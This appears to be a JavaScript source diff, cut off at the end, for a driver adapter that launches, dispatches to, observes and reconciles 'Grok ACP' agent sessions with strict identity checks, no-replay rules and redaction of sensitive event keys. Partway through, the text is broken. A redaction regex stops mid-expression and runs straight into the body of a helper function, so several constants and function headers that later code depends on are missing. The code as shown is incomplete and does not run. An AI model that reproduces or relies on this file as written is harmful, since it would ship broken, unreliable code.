+// This slice does not cut the supervisor over, does not claim durable +// P19/P21 state, and is not live-transport qualification. Process-local +// lane risk from P17 bind-on-throw remains: the adapter keeps its own +// spawn/dispatch-intent map so a thrown caller still cannot replay. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { MAX_TIMEOUT_MS } from './contract.mjs'; +import { + capturedCreate, + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, + isModelId, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH, IDENTITY_LABELS } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_FEATURE_VALUES, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + RECONCILE_INCLUDE_VALUES, + assertProviderDriverV1, + bindProviderDriverV1, + validateDriverCancelRequestV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverPreflightRequestV1, + validateDriverReconcileRequestV1, +} from './provider-driver.mjs'; +import { boundedProviderValue } from './provider-result.mjs'; +import { + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const GROK_PROVIDER_SLOT = 'grok'; +export const GROK_ACP_AGENT = 'grok-build'; +export const GROK_ACP_DRIVER_SCHEMA_ID = 'codex-co-engineer.grok-acp-driver.v1'; +export const GROK_ACP_TRANSPORT_SCHEMA_ID = 'codex-co-engineer.grok-acp-transport.v1'; +export const GROK_ACP_EVIDENCE_SCHEMA_ID = 'codex-co-engineer.grok-acp-evidence.v1'; +export const GROK_ACP_CAPABILITY_REVISION = 'p18.grok-acp.1'; + +export const GROK_ACP_TRANSPORT_OPERATIONS = capturedFreeze([ + 'preflight', 'spawn', 'dispatch', 'observe', 'cancel', 'reattach', +]); + +export const GROK_ACP_SESSION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const GROK_ACP_QUESTION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +export const GROK_ACP_CURSOR_PATTERN = /^[0-9]{1,16}$/u; +export const GROK_ACP_REQUEST_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; + +export const MAX_GROK_ACP_EVENT_PAGE = 32; +export const MAX_GROK_ACP_EVENT_TEXT_BYTES = 4 * 1024; +export const MAX_GROK_ACP_EVENT_BYTES = 32 * 1024; +export const MAX_GROK_ACP_EVENT_DEPTH = 6; +export const MAX_GROK_ACP_EVENT_ITEMS = 64; +export const MAX_GROK_ACP_EVENT_KEYS = 32; +export const MAX_GROK_ACP_EVIDENCE_BYTES = 32 * 1024; +export const MAX_GROK_ACP_ATTENTION_PROMPT_BYTES = 256; +export const MAX_GROK_ACP_TIMING_MS = MAX_TIMEOUT_MS; +export const MAX_GROK_ACP_EVENT_COUNT = 1_000_000; + +export const GROK_ACP_OBSERVE_STATUSES = capturedFreeze([ + 'running', 'needs_attention', 'completed', 'failed', 'cancelled', 'lost', +]); +export const GROK_ACP_CANCEL_OUTCOMES = capturedFreeze([ + 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); + +const CHILD_ENVELOPE_DIGEST_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); +const DETAIL_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; +const DETAIL_MESSAGE_MAX_BYTES = 512; + +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE = Object.freeze; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const STRING = String; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const WEAK_MAP_CTOR = WeakMap; + +const OMIT_EVENT_KEYS = capturedFreeze([ + 'availablecommands', 'content', 'envelope_text', 'prompt', 'rawinput', 'rawoutput', +]); +const SENSITIVE_EVENT_KEY = /(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|cookie|credential|private[_-]?key|(? 48 ? `${text.slice(0, 45)}...` : text; +} + +function detachFrozenJson(value) { + if (value === null || typeof value !== 'object') return value; + if (capturedIsArray(value)) { + const clone = []; + for (let index = 0; index < value.length; index += 1) { + ARRAY_PUSH.call(clone, detachFrozenJson(value[index])); + } + return OBJECT_FREEZE(clone); + } + const clone = {}; + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + capturedDefineProperty(clone, key, { + value: detachFrozenJson(optOwn(value, key)), + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(clone); +} + +function digestsEqual(left, right) { + return typeof left === 'string' && typeof right === 'string' + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, left) + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, right) + && TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'hex'), BUFFER_FROM(right, 'hex')); +} + +function laneKey(runId, assignmentId) { + return `${runId}\u0000${assignmentId}`; +} + +function storeFor(driver) { + const store = DRIVER_STORES.get(driver); + if (store === undefined) { + fail('invalid_surface', 'grok_acp_driver', + 'inspectGrokAcpLaneEvidenceV1 requires a driver created by this adapter.'); + } + return store; +} + +function grokCapabilityRecord() { + return { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: capturedFreeze(['event_segment', 'git_diff', 'provider_report']), + create_pr_posture: 'prohibited', + dispatch_certainty: 'confirmed_launch', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + notes: GROK_ACP_NOTES, + provider: GROK_PROVIDER_SLOT, + replay_posture: 'never_replay', + revision: GROK_ACP_CAPABILITY_REVISION, + same_session_reply: 'live_session_reply', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }; +} + +export function grokAcpDriverDeclarationV1() { + return validateDriverDeclarationV1({ + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: grokCapabilityRecord(), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }, + }); +} + +function assertPatternedId(value, pattern, path, label) { + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail('invalid_format', path, `${path} must be a bounded ${label}.`); + } + return value; +} + +function assertDigest(value, path) { + if (typeof value !== 'string' || !capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } + return value; +} + +function assertExactModel(value, path) { + if (!isModelId(value)) { + fail('invalid_exact_model_selection', path, + `${path} must be the exact selected Grok model identifier.`); + } + return value; +} + +function identityFromEnvelope(envelope, childEnvelopeDigest) { + const provider = envelope.execution.provider; + if (provider !== GROK_PROVIDER_SLOT) { + fail('provider_slot_mismatch', 'envelope.execution.provider', + `The Grok ACP adapter hard-binds provider "${GROK_PROVIDER_SLOT}"; received ` + + `"${truncateForMessage(provider)}".`); + } + const model = envelope.execution.model; + if (typeof model !== 'string' || model.length === 0) { + fail('invalid_exact_model_selection', 'envelope.execution.model', + 'The Grok ACP adapter requires the exact selected model; digest-or-profile-only launches are denied.'); + } + assertExactModel(model, 'envelope.execution.model'); + if (envelope.starting_ref !== null) { + fail('capability_workspace_mismatch', 'envelope.starting_ref', + 'Grok lanes start at the run immutable base_sha and never carry a starting_ref.'); + } + return capturedFreeze({ + provider: GROK_PROVIDER_SLOT, + model, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + repository_path: envelope.repository.path, + child_envelope_digest: childEnvelopeDigest, + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); +} + +function assertReceiptIdentity(receipt, identity, path) { + const expected = capturedFreeze({ + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + }); + for (const key of sortedCapturedKeys(expected)) { + if (!hasOwn(receipt, key)) { + fail('malformed_receipt', `${path}.${key}`, `${path}.${key} must echo the exact Grok lane identity.`); + } + const actual = optOwn(receipt, key); + const value = expected[key]; + const equal = key === 'child_envelope_digest' ? digestsEqual(actual, value) : actual === value; + if (!equal) { + fail('stale_identity_denied', `${path}.${key}`, + `${path}.${key} must echo ${truncateForMessage(value)}; received ${truncateForMessage(actual)}.`); + } + } + if (hasOwn(receipt, 'repository_path') && optOwn(receipt, 'repository_path') !== identity.repository_path) { + fail('stale_identity_denied', `${path}.repository_path`, + 'Transport workspace path does not match the exact managed worktree identity.'); + } +} + +function assertClosedReceipt(receipt, allowedKeys, path) { + if (receipt === undefined || receipt === null) { + fail('malformed_receipt', path, `${path} must be a plain transport receipt.`); + } + assertDirectJsonClosure(receipt, path); + assertPlainObject(receipt, 'malformed_receipt', path, path); + assertAllowedKeys(receipt, allowedKeys, path); +} + +function boundedDiagnosticMessage(code, fallback) { + const text = typeof fallback === 'string' && fallback.length > 0 ? fallback : code; + if (capturedUtf8ByteLength(text) <= DETAIL_MESSAGE_MAX_BYTES) return text; + return `${text.slice(0, 64)}`; +} + +function assertDetailPair(receipt, path) { + const code = optOwn(receipt, 'detail_code'); + const message = optOwn(receipt, 'detail_message'); + if (typeof code !== 'string' || !capturedTest(DETAIL_CODE_PATTERN, code)) { + fail('invalid_format', `${path}.detail_code`, + `${path}.detail_code violates the bounded detail-code grammar.`); + } + assertBoundedText(message, { + min: 1, max: DETAIL_MESSAGE_MAX_BYTES, path: `${path}.detail_message`, label: 'detail_message', + }); + return capturedFreeze({ detail_code: code, detail_message: message }); +} + +function sanitizeEventNode(value, depth, budget, seen) { + if (budget.remaining <= 0) return '[truncated]'; + if (value === null || typeof value === 'boolean') return value; + if (typeof value === 'number') { + if (!Number.isFinite(value)) return null; + return value; + } + if (typeof value === 'string') { + let text = value; + if (capturedUtf8ByteLength(text) > MAX_GROK_ACP_EVENT_TEXT_BYTES) { + text = `${text.slice(0, MAX_GROK_ACP_EVENT_TEXT_BYTES)}…`; + } + const size = capturedUtf8ByteLength(text); + if (size > budget.remaining) { + budget.remaining = 0; + return '[truncated]'; + } + budget.remaining -= size; + return text; + } + if (typeof value !== 'object') return '[redacted]'; + assertNotProxy(value, 'grok_acp.event'); + if (seen.has(value) || depth >= MAX_GROK_ACP_EVENT_DEPTH) return '[truncated]'; + seen.add(value); + if (capturedIsArray(value)) { + assertDenseJsonArray(value, 'grok_acp.event'); + const out = []; + const limit = Math.min(value.length, MAX_GROK_ACP_EVENT_ITEMS); + for (let index = 0; index < limit && budget.remaining > 0; index += 1) { + ARRAY_PUSH.call(out, sanitizeEventNode(ownDataValue(value, STRING(index), `grok_acp.event[${index}]`), + depth + 1, budget, seen)); + } + if (value.length > limit) ARRAY_PUSH.call(out, '[truncated]'); + return OBJECT_FREEZE(out); + } + if (!isPlainObject(value)) return '[redacted]'; + const out = {}; + const keys = sortedCapturedKeys(value); + const limit = Math.min(keys.length, MAX_GROK_ACP_EVENT_KEYS); + for (let index = 0; index < limit && budget.remaining > 0; index += 1) { + const key = keys[index]; + const normalized = key.toLowerCase(); + if (capturedIncludes(OMIT_EVENT_KEYS, normalized)) continue; + if (SENSITIVE_EVENT_KEY.test(key)) { + out[key] = '[redacted]'; + continue; + } + out[key] = sanitizeEventNode(optOwn(value, key), depth + 1, budget, seen); + } + return OBJECT_FREEZE(out); +} + +function boundEventPage(events, path) { + if (events === undefined) return capturedFreeze([]); + assertDenseJsonArray(events, path); + const start = Math.max(0, events.length - MAX_GROK_ACP_EVENT_PAGE); + const page = []; + const budget = { remaining: MAX_GROK_ACP_EVENT_BYTES }; + for (let index = start; index < events.length; index += 1) { + const entryPath = `${path}[${index}]`; + const event = ownDataValue(events, STRING(index), entryPath); + ARRAY_PUSH.call(page, sanitizeEventNode(event, 0, budget, new WeakSet())); + } + return capturedFreeze({ + events: OBJECT_FREEZE(page), + truncated: events.length > MAX_GROK_ACP_EVENT_PAGE || budget.remaining <= 0, + dropped_prefix: start, + }); +} + +function boundAttention(attention, sessionId, path) { + if (attention === undefined) return undefined; + assertClosedReceipt(attention, ATTENTION_KEYS, path); + const observedSession = assertPatternedId( + optOwn(attention, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, `${path}.session_id`, 'session_id', + ); + if (observedSession !== sessionId) { + fail('stale_identity_denied', `${path}.session_id`, + 'Attention session_id must match the live Grok ACP session; cross-session reply identity is denied.'); + } + const questionId = assertPatternedId( + optOwn(attention, 'question_id'), GROK_ACP_QUESTION_ID_PATTERN, `${path}.question_id`, 'question_id', + ); + const projected = { + session_id: observedSession, + question_id: questionId, + }; + if (hasOwn(attention, 'prompt')) { + const prompt = optOwn(attention, 'prompt'); + if (typeof prompt !== 'string') { + fail('invalid_type', `${path}.prompt`, `${path}.prompt must be a string when present.`); + } + projected.prompt = capturedUtf8ByteLength(prompt) > MAX_GROK_ACP_ATTENTION_PROMPT_BYTES + ? `${prompt.slice(0, MAX_GROK_ACP_ATTENTION_PROMPT_BYTES)}…` + : prompt; + } + return freezeData(projected); +} + +function boundProgress(progress, path) { + if (progress === undefined) return undefined; + assertClosedReceipt(progress, PROGRESS_KEYS, path); + const projected = {}; + if (hasOwn(progress, 'cursor')) { + projected.cursor = assertPatternedId( + optOwn(progress, 'cursor'), GROK_ACP_CURSOR_PATTERN, `${path}.cursor`, 'event cursor', + ); + } + if (hasOwn(progress, 'event_count')) { + const count = optOwn(progress, 'event_count'); + if (!Number.isSafeInteger(count) || count < 0 || count > MAX_GROK_ACP_EVENT_COUNT) { + fail('invalid_format', `${path}.event_count`, + `${path}.event_count must be a bounded integer count.`); + } + projected.event_count = count; + } + if (hasOwn(progress, 'elapsed_ms')) { + const elapsed = optOwn(progress, 'elapsed_ms'); + if (!Number.isSafeInteger(elapsed) || elapsed < 0 || elapsed > MAX_GROK_ACP_TIMING_MS) { + fail('invalid_format', `${path}.elapsed_ms`, + `${path}.elapsed_ms must be a bounded millisecond timing.`); + } + projected.elapsed_ms = elapsed; + } + if (hasOwn(progress, 'status')) { + const status = optOwn(progress, 'status'); + if (!capturedIncludes(GROK_ACP_OBSERVE_STATUSES, status)) { + fail('invalid_format', `${path}.status`, + `${path}.status must be one of ${capturedJoin(GROK_ACP_OBSERVE_STATUSES, ', ')}.`); + } + projected.status = status; + } + return freezeData(projected); +} + +function projectEvidence(observe, include, identity, sessionId) { + const wantEvents = capturedIncludes(include, 'detailed_events'); + const wantProgress = capturedIncludes(include, 'live_progress'); + const page = wantEvents ? boundEventPage(optOwn(observe, 'events'), 'transport.observe.events') : capturedFreeze({ + events: capturedFreeze([]), truncated: false, dropped_prefix: 0, + }); + const progress = wantProgress || hasOwn(observe, 'progress') || hasOwn(observe, 'cursor') + || hasOwn(observe, 'elapsed_ms') || hasOwn(observe, 'event_count') + ? boundProgress({ + ...(hasOwn(observe, 'progress') ? optOwn(observe, 'progress') : {}), + ...(hasOwn(observe, 'cursor') ? { cursor: optOwn(observe, 'cursor') } : {}), + ...(hasOwn(observe, 'elapsed_ms') ? { elapsed_ms: optOwn(observe, 'elapsed_ms') } : {}), + ...(hasOwn(observe, 'event_count') ? { event_count: optOwn(observe, 'event_count') } : {}), + ...(hasOwn(observe, 'status') ? { status: optOwn(observe, 'status') } : {}), + }, 'transport.observe.progress') + : undefined; + const attention = hasOwn(observe, 'attention') + ? boundAttention(optOwn(observe, 'attention'), sessionId, 'transport.observe.attention') + : undefined; + const projected = { + schema: GROK_ACP_EVIDENCE_SCHEMA_ID, + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + session_id: sessionId, + status: optOwn(observe, 'status'), + truncated: page.truncated === true, + }; + if (wantEvents) projected.events = page.events; + if (wantProgress && progress !== undefined) projected.progress = progress; + if (attention !== undefined) projected.attention = attention; + if (progress?.cursor !== undefined) projected.cursor = progress.cursor; + else if (hasOwn(observe, 'cursor')) { + projected.cursor = assertPatternedId( + optOwn(observe, 'cursor'), GROK_ACP_CURSOR_PATTERN, 'transport.observe.cursor', 'event cursor', + ); + } + const bounded = boundedProviderValue(projected, { + limit: MAX_GROK_ACP_EVENT_TEXT_BYTES, + maxDepth: MAX_GROK_ACP_EVENT_DEPTH, + maxItems: MAX_GROK_ACP_EVENT_ITEMS, + maxBytes: MAX_GROK_ACP_EVIDENCE_BYTES, + }); + return freezeData({ + ...bounded.value, + evidence_truncated: bounded.result_truncated === true || page.truncated === true, + }); +} + +function driverResult(operation, identity, disposition, details = {}) { + const result = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + disposition, + }; + if (details.detail_code !== undefined) result.detail_code = details.detail_code; + if (details.detail_message !== undefined) result.detail_message = details.detail_message; + return freezeData(result); +} + +function isPostSpawnFailure(error) { + if (error === null || typeof error !== 'object') return false; + if (error.spawned === true) return true; + return typeof error.code === 'string' && capturedIncludes(POST_SPAWN_ERROR_CODES, error.code); +} + +function callTransport(store, operation, request) { + const handler = capturedDescriptor(store.handlers, operation)?.value; + if (typeof handler !== 'function' || IS_PROXY(handler)) { + fail('invalid_operation', `grok_acp_transport.${operation}`, + `grok_acp_transport.${operation} must be a concrete function.`); + } + return handler.call(store.transport, request); +} + +function transportIdentityRequest(identity, extras = {}) { + return detachFrozenJson({ + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + repository_path: identity.repository_path, + child_envelope_digest: identity.child_envelope_digest, + workspace_semantics: identity.workspace_semantics, + workspace_starting_point: identity.workspace_starting_point, + ...extras, + }); +} + +function assertNoContentKeys(request, path) { + if (hasOwn(request, 'envelope_text') || hasOwn(request, 'prompt') || hasOwn(request, 'text')) { + fail('content_in_telemetry_denied', path, + `${path} must not carry envelope or prompt content; that byte string is dispatch evidence only.`); + } +} + +function getLane(store, identity) { + return store.lanes.get(laneKey(identity.run_id, identity.assignment_id)); +} + +function putLane(store, identity, record) { + store.lanes.set(laneKey(identity.run_id, identity.assignment_id), capturedFreeze({ + ...record, + identity, + })); +} + +function assertLaneIdentity(record, identity, path) { + if (record === undefined) return; + if (!digestsEqual(record.identity.child_envelope_digest, identity.child_envelope_digest) + || record.identity.model !== identity.model + || record.identity.base_sha !== identity.base_sha + || record.identity.repository_path !== identity.repository_path + || record.identity.provider !== identity.provider) { + fail('stale_identity_denied', path, + 'Session/run/child/model/workspace identity does not match the exact Grok lane previously observed.'); + } +} + +function dispatchRequestId(identity, sessionId) { + const digest = identityBoundDigest(IDENTITY_LABELS.DISPATCH_ATTEMPT, { + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + model: identity.model, + provider: identity.provider, + run_id: identity.run_id, + session_id: sessionId, + }); + if (!capturedTest(SHA256_DIGEST_PATTERN, digest)) { + fail('invalid_format', 'dispatch.request_id', 'Dispatch request id binding must be a sha256 digest.'); + } + return `gak-${digest.slice('sha256:'.length, 'sha256:'.length + 32)}`; +} + +export function assertGrokAcpTransportV1(transport) { + const path = 'grok_acp_transport'; + if (transport !== null && (typeof transport === 'object' || typeof transport === 'function') + && IS_PROXY(transport)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; the Grok adapter accepts a concrete injected transport only.`); + } + if (!isPlainObject(transport)) { + if (typeof transport === 'object' && transport !== null && !capturedIsArray(transport)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of the closed Grok ACP transport operations.`); + } + const entries = assertJsonDataObject(transport, path); + if (entries.length !== GROK_ACP_TRANSPORT_OPERATIONS.length + || entries.some(({ key }) => !capturedIncludes(GROK_ACP_TRANSPORT_OPERATIONS, key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly ${capturedJoin(GROK_ACP_TRANSPORT_OPERATIONS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete function implementing "${key}".`); + } + } + return capturedFreeze({ + schema: GROK_ACP_TRANSPORT_SCHEMA_ID, + operations: capturedFreeze([...GROK_ACP_TRANSPORT_OPERATIONS]), + provider: GROK_PROVIDER_SLOT, + agent: GROK_ACP_AGENT, + }); +} + +function laneMayHaveSent(record) { + return record !== undefined && ( + record.spawned === true + || record.dispatch_intent === true + || capturedIncludes(POSSIBLE_SEND_STATES, record.state) + ); +} + +function hasTerminalLatch(record) { + if (record === undefined) return false; + if (record.terminal_latch === true) return true; + if (capturedIncludes(TERMINAL_LATCH_STATES, record.state)) return true; + if (record.last_status !== undefined + && capturedIncludes(TERMINAL_OBSERVE_STATUSES, record.last_status)) { + return true; + } + return record.cancel_outcome !== undefined + && capturedIncludes(TERMINAL_CANCEL_OUTCOMES, record.cancel_outcome); +} + +function runPreflight(store, request) { + const view = validateDriverPreflightRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (laneMayHaveSent(prior)) { + fail('invalid_transition', 'driver.preflight.request', + 'Preflight cannot run after a Grok prompt may have been dispatched; reconcile or cancel instead.'); + } + const probe = transportIdentityRequest(identity); + assertNoContentKeys(probe, 'grok_acp_transport.preflight.request'); + let receipt; + try { + receipt = callTransport(store, 'preflight', probe); + } catch (error) { + const blocked = driverResult('preflight', identity, 'blocked', { + detail_code: 'transport_unavailable', + detail_message: boundedDiagnosticMessage('transport_unavailable', + 'Grok ACP preflight failed before any session was spawned.'), + }); + putLane(store, identity, { state: 'blocked', model: identity.model }); + void error; + return blocked; + } + assertClosedReceipt(receipt, PREFLIGHT_RECEIPT_KEYS, 'transport.preflight.result'); + assertReceiptIdentity(receipt, identity, 'transport.preflight.result'); + const ok = optOwn(receipt, 'ok'); + if (ok === true) { + if (hasOwn(receipt, 'detail_code') || hasOwn(receipt, 'detail_message')) { + fail('detail_pair_denied', 'transport.preflight.result.detail_code', + 'A ready Grok preflight receipt must not carry a detail pair.'); + } + putLane(store, identity, { state: 'ready', model: identity.model }); + return driverResult('preflight', identity, 'ready'); + } + if (ok !== false) { + fail('malformed_receipt', 'transport.preflight.result.ok', + 'transport.preflight.result.ok must be an exact boolean.'); + } + assertDetailPair(receipt, 'transport.preflight.result'); + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', BLOCKED_PREFLIGHT_DETAIL); +} + +function markUncertain(store, identity, extras = {}) { + putLane(store, identity, { + state: 'dispatch_uncertain', + model: identity.model, + session_id: extras.session_id, + request_id: extras.request_id, + spawned: true, + dispatch_intent: true, + }); + return driverResult('launch', identity, 'dispatch_uncertain'); +} + +function runLaunch(store, request) { + const view = validateDriverLaunchRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + assertLaneIdentity(prior, identity, 'driver.launch.request'); + if (prior === undefined || (prior.state !== 'ready' && prior.state !== 'not_sent')) { + if (prior !== undefined && prior.spawned === true) { + fail('replay_denied', 'driver.launch.request', + 'A previous Grok launch may have sent the prompt; the lane is never replayed or fallback-substituted.'); + } + fail('not_preflighted', 'driver.launch.request', + 'Launch requires a prior preflight:ready result for this exact Grok child identity.'); + } + if (prior.state === 'blocked') { + fail('blocked_lane_denied', 'driver.launch.request', + 'A blocked Grok preflight cannot launch; the lane fails closed with no fallback.'); + } + + let sessionId; + let spawnReturned = false; + try { + const spawnRequest = transportIdentityRequest(identity); + assertNoContentKeys(spawnRequest, 'grok_acp_transport.spawn.request'); + const spawned = callTransport(store, 'spawn', spawnRequest); + spawnReturned = true; + assertClosedReceipt(spawned, SPAWN_RECEIPT_KEYS, 'transport.spawn.result'); + if (optOwn(spawned, 'spawned') !== true) { + fail('malformed_receipt', 'transport.spawn.result.spawned', + 'transport.spawn.result.spawned must be exactly true.'); + } + assertReceiptIdentity(spawned, identity, 'transport.spawn.result'); + sessionId = assertPatternedId( + optOwn(spawned, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.spawn.result.session_id', 'session_id', + ); + } catch (error) { + if (spawnReturned || isPostSpawnFailure(error)) { + return markUncertain(store, identity); + } + putLane(store, identity, { state: 'not_sent', model: identity.model }); + return driverResult('launch', identity, 'not_sent', { + detail_code: typeof error?.code === 'string' && capturedTest(DETAIL_CODE_PATTERN, error.code) + ? error.code : 'spawn_failed', + detail_message: boundedDiagnosticMessage('spawn_failed', + 'Grok ACP spawn failed before a session existed; no prompt was dispatched.'), + }); + } + + putLane(store, identity, { + state: 'spawned', + model: identity.model, + session_id: sessionId, + spawned: true, + dispatch_intent: true, + }); + + const requestId = dispatchRequestId(identity, sessionId); + try { + const dispatchRequest = detachFrozenJson({ + ...transportIdentityRequest(identity, { session_id: sessionId, request_id: requestId }), + envelope_text: view.request.envelope_text, + }); + const ack = callTransport(store, 'dispatch', dispatchRequest); + assertClosedReceipt(ack, DISPATCH_RECEIPT_KEYS, 'transport.dispatch.result'); + if (optOwn(ack, 'acknowledged') !== true) { + return markUncertain(store, identity, { session_id: sessionId, request_id: requestId }); + } + assertReceiptIdentity(ack, identity, 'transport.dispatch.result'); + const ackSession = assertPatternedId( + optOwn(ack, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.dispatch.result.session_id', 'session_id', + ); + if (ackSession !== sessionId) { + fail('stale_identity_denied', 'transport.dispatch.result.session_id', + 'Dispatch acknowledgement session_id must match the spawned Grok ACP session.'); + } + const ackRequestId = assertPatternedId( + optOwn(ack, 'request_id'), GROK_ACP_REQUEST_ID_PATTERN, 'transport.dispatch.result.request_id', 'request_id', + ); + if (ackRequestId !== requestId) { + fail('stale_identity_denied', 'transport.dispatch.result.request_id', + 'Dispatch acknowledgement request_id must match the exact dispatch attempt.'); + } + putLane(store, identity, { + state: 'dispatched', + model: identity.model, + session_id: sessionId, + request_id: requestId, + spawned: true, + dispatch_intent: true, + acknowledged: true, + }); + return driverResult('launch', identity, 'dispatched'); + } catch (error) { + void error; + return markUncertain(store, identity, { session_id: sessionId, request_id: requestId }); + } +} + +function observeLane(store, identity, record, include) { + const extras = { include: [...include] }; + if (record.session_id !== undefined) extras.session_id = record.session_id; + if (record.request_id !== undefined) extras.request_id = record.request_id; + const observeRequest = transportIdentityRequest(identity, extras); + assertNoContentKeys(observeRequest, 'grok_acp_transport.observe.request'); + const receipt = callTransport(store, 'observe', observeRequest); + assertClosedReceipt(receipt, OBSERVE_RECEIPT_KEYS, 'transport.observe.result'); + assertReceiptIdentity(receipt, identity, 'transport.observe.result'); + const sessionId = assertPatternedId( + optOwn(receipt, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.observe.result.session_id', 'session_id', + ); + if (record.session_id !== undefined && sessionId !== record.session_id) { + fail('stale_identity_denied', 'transport.observe.result.session_id', + 'Observed session_id does not match the spawned Grok ACP session.'); + } + const status = optOwn(receipt, 'status'); + if (!capturedIncludes(GROK_ACP_OBSERVE_STATUSES, status)) { + fail('invalid_format', 'transport.observe.result.status', + `transport.observe.result.status must be one of ${capturedJoin(GROK_ACP_OBSERVE_STATUSES, ', ')}.`); + } + if (hasOwn(receipt, 'elapsed_ms')) { + const elapsed = optOwn(receipt, 'elapsed_ms'); + if (!Number.isSafeInteger(elapsed) || elapsed < 0 || elapsed > MAX_GROK_ACP_TIMING_MS) { + fail('invalid_format', 'transport.observe.result.elapsed_ms', + 'elapsed_ms must be a bounded millisecond timing.'); + } + } + if (hasOwn(receipt, 'event_count')) { + const count = optOwn(receipt, 'event_count'); + if (!Number.isSafeInteger(count) || count < 0 || count > MAX_GROK_ACP_EVENT_COUNT) { + fail('invalid_format', 'transport.observe.result.event_count', + 'event_count must be a bounded integer count.'); + } + } + const evidence = projectEvidence(receipt, include, identity, sessionId); + if (status === 'needs_attention' && evidence.attention === undefined) { + fail('capability_reply_mismatch', 'transport.observe.result.attention', + 'Grok ACP needs_attention requires the exact live session_id and question_id; silent unanswerable attention is denied.'); + } + return capturedFreeze({ receipt, sessionId, status, evidence }); +} + +function reconcileDisposition(status) { + if (status === 'needs_attention') return 'unresolved_attention'; + if (status === 'lost') return 'dispatch_uncertain'; + if (capturedIncludes(TERMINAL_OBSERVE_STATUSES, status)) return 'terminal'; + return 'in_progress'; +} + +function runReconcile(store, request) { + const view = validateDriverReconcileRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.spawned !== true) { + fail('not_dispatched', 